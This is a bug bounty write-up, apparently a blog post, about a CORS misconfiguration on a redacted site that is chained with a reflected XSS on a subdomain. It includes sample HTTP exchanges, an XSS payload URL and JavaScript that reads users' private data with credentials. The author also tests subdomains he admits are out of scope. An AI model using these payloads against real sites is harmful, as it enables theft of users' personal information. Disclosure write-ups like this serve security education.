Case:#1

Vulnerable Endpoint

About a year ago, I was hacking this private program, hosted by HackerOne. After playing with the Origin header in the HTTP request, then inspecting server response to check if they do domains whitelist check or not, I noticed that the application is blindly whitelisting only the subdomains, even non-existing ones.

For privacy reasons and the responsible disclosure policy, let’s assume that the web application is hosted in: www.redacted.com

This CORS misconfiguration looks something like this:

HTTP Request:

GET /api/return HTTP/1.1

Host: www.redacted.com

Origin: evil.redacted.com

Connection: close

HTTP Response:

HTTP/1.1 200 OK

Access-control-allow-credentials: true

Access-control-allow-origin: evil.redacted.com

This API endpoint was returning the user’s private information, like full name, email address, ….

To abuse this misconfiguration so we can perform an attack, like leaking users’ private information, we need either to claim an abandoned subdomain (Subdomain Takeover), or find an XSS in one of the existing subdomains.

Think Outside The Scope

Finding an abandoned subdomain is not that trivial, so I decided to go for the second option, finding an XSS in one of the existing subdomains. However, the scope of this private program is limited to only: www.redacted.com, Which means that finding an XSS in other subdomain is definitely out of the scope, but chaining this XSS with the CORS misconfiguration is somehow in the Scope. Right?

And, the fact that the other subdomains are out of scope, is the reason that made me more confident, that there is a big chance of finding an XSS on those subdomains since other hackers will not be testing them.

So, I start searching for this XSS, with a heart full of hope to find it, And In less than one hour, I found one in banques.redacted.com, using the following payload:

https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1

Time to create a nice Proof of Concept, and submit a report

Reproduce :

So to exploit this CORS Misconfiguration we just need to replace the XSS payload alert(document.domain), with the following code:

function cors() {

var xhttp = new XMLHttpRequest();

xhttp.onreadystatechange = function() {

if (this.status == 200) {

alert(this.responseText);

document.getElementById("demo").innerHTML = this.responseText;

}

};

xhttp.open("GET", "https://www.redacted.com/api/return", true);

xhttp.withCredentials = true;

xhttp.send();

}

cors();

Like This :

https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1

And Voilà, we now have a nice PoC:

Reward

Now, What if I told you that you can still abuse this issue without the need of finding an XSS in any of the existing subdomains, or claiming an abandoned one.

That exactly what we will be discussing in the second case.